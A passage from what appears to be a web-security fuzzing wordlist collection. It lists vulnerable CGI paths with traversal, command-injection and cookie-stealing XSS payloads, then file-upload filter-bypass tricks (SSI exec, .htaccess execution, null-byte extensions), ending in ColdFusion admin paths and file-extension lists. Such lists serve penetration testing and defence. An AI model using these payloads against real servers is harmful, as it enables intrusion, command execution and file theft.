/> windmail.exe<br /> dbmlparser.exe<br /> cgimail.exe<br /> minimal.exe<br /> rguest.exe<br /> visitor.exe<br /> webbbs.exe<br /> wguest.exe<br /> /_vti_bin/fpcount.exe?Page=default.htm|Image=3|Digits=15<br /> cfgwiz.exe<br /> Cgitest.exe<br /> mailform.exe<br /> post16.exe<br /> imagemap.exe<br /> htimage.exe/path/filename?2,2<br /> htimage.exe<br /> Webnews.exe<br /> texis.exe/junk<br /> apexec.pl?etype=odp&amp;template=../../../../../../../../../../etc/passwd%00.html&amp;passurl=/category/<br /> sensepost.exe?/c+dir<br /> testcgi.exe<br /> testcgi.exe?&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> ion-p.exe?page=c:\winnt\repair\sam<br /> ../../../../../../../../../../WINNT/system32/ipconfig.exe<br /> NUL/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> PRN/../../../../../../../../../WINNT/system32/ipconfig.exe<br /> c32web.exe/GetImage?ImageName=CustomerEmail.txt%00.pdf <br /> foxweb.dll<br /> wconsole.dll<br /> shtml.dll<br /> scripts/slxweb.dll/getfile?type=Library&amp;file=[invalid filename]<br /> rightfax/fuwww.dll/?<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%<br /> WINDMAIL.EXE?%20-n%20c:\boot.ini%20Hacker@hax0r.com%20|%20dir%20c:\\<br /> GW5/GWWEB.EXE<br /> GW5/GWWEB.EXE?GET-CONTEXT&amp;HTMLVER=AAA<br /> GW5/GWWEB.EXE?HELP=bad-request<br /> GWWEB.EXE?HELP=bad-request<br /> echo.bat<br /> echo.bat?&amp;dir+c:\\<br /> hello.bat?&amp;dir+c:\\<br /> input.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> input2.bat?|dir<br /> input2.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> test-cgi.bat<br /> test.bat?|dir%20..\\..\\..\\..\\..\\..\\..\\..\\..\\<br /> tst.bat|dir%20..\\..\\..\\..\\..\\..\\..\\..\\,<br /> &lt;/pre&gt;<br /> <br /> === File Upload Filter Bypass (Update: 17 March 2009 s ===<br /> &lt;pre&gt;# File Upload Fuzzfile - File Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename &lt;pre&gt;Appends (Update: 17 March 2009 ===<br /> # Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> === Commonly Writable directories File Upload Filter Bypass - Filename Appends (&lt;pre&gt;Update: 17 March 2009 ===<br /> #Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2009 <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863 ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2009 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> 